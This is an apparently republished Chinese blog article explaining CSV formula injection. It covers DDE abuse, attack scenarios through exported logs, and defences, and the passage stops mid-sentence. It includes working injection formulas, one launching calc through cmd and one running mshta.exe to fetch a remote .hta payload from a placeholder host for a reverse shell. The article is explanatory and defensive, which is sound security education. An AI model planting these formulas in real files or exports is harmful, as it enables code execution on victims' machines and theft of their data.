1. 程式人生 > >CSV檔案注入漏洞簡析

CSV檔案注入漏洞簡析

 

“對於網路安全來說,一切的外部輸入均是不可信的”。但是CSV檔案注入漏洞確時常被疏忽,究其原因,可能是因為我們腦海裡的第一印象是把CSV檔案當作了普通的文字檔案,未能引起警惕。

一、漏洞定義

攻擊者通過在CSV檔案中構造惡意的命令或函式,使得正常使用者在使用Excel開啟這個CSV檔案後惡意的命令或函式被執行,從而造成攻擊行為。

二、漏洞產生的原因

1、CSV檔案中的幾個特殊符號“+、-、@、=”

嘗試在CSV單元格中輸入“=1+1”,回車後,發現單元格的值變成了2,說明加號被當做運算執行了。

 

除了加號,“-”、“@”、“=”也會被解釋為公式。

2、DDE(Dynamic Data Exchange)

DDE是Windows下程序間通訊協議,是一種動態資料交換機制,使用DDE通訊需要兩個Windows應用程式,其中一個作為伺服器處理資訊,另外一個作為客戶機從伺服器獲得資訊。DDE支援Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都可以使用這種機制,根據外部應用的處理結果來更新內容。因此,如果我們製作包含DDE公式的CSV檔案,那麼在開啟該檔案時,Excel就會嘗試執行外部應用。

三、漏洞演示

1、OS命令執行

通過在CSV檔案中構建DDE公式,可以呼叫CMD達到執行作業系統命令的目的。

如下圖所示,在單元格中輸入1+cmd|’/C calc’!A0,回車後Excel會彈出一個框,提醒Excel需要啟動另外一個程式(cmd),點選是,Windows會彈出計算器視窗。

利用Metasploit可以生成payload,可以使用下面的注入執行payload,從而達到反彈shell的目的。

=1+cmd|'/c mshta.exe http://XXXXX:8080/Micropoor.hta '!A0

因此,利用這種漏洞危害,我們可以在使用者的作業系統上執行新增使用者、開啟任意程式、操作登錄檔、反彈shell等命令。

2、跳轉至釣魚網站

當用戶點選下面連結時,會使用IE瀏覽器開啟攻擊者提供的釣魚網站,起到釣魚的目的。

 

3、資訊洩露

通過在CSV檔案中注入超連結函式,當用戶開啟檔案並點選連結時,可以把指定的單元格內容提交到指定網址(如下提交A2/A3單元格的內容)。

 

四、漏洞發生的場景

當網站提供CSV檔案匯出功能時,如果使用者可以控制CSV檔案的內容,就可能傳送此類攻擊。

比如攻擊者可以在登入輸入框、以及其他的查詢、寫入功能中注入惡意命令,當管理員使用CSV格式匯出網站日誌時,就可能發生此類攻擊。

五、漏洞防禦

1、確保單元格不以特殊字元(“+、-、@、=”)開頭;

2、對單元格的內容進行特殊字元(“+、-、@、=”)過濾;

3、先對原始輸入內容進行轉義(雙引號前多加一個雙引號),然後在新增tab鍵和雙引號防止注入;

4、禁止匯出CSV、Excel格式;

5、匯出為Excel格式前,利用程式碼把單元格的格式設定為文字(對CSV不生效)。

防禦措施面臨的困難:

1、對單元格內容進行處理勢必會改變原始內容,對於需要資料匯出後在匯入其他系統進行執行的場景,對業務會有影響;

2、對於資料量大的場景,如果在匯出進行過濾、轉義等操作,會影響匯出效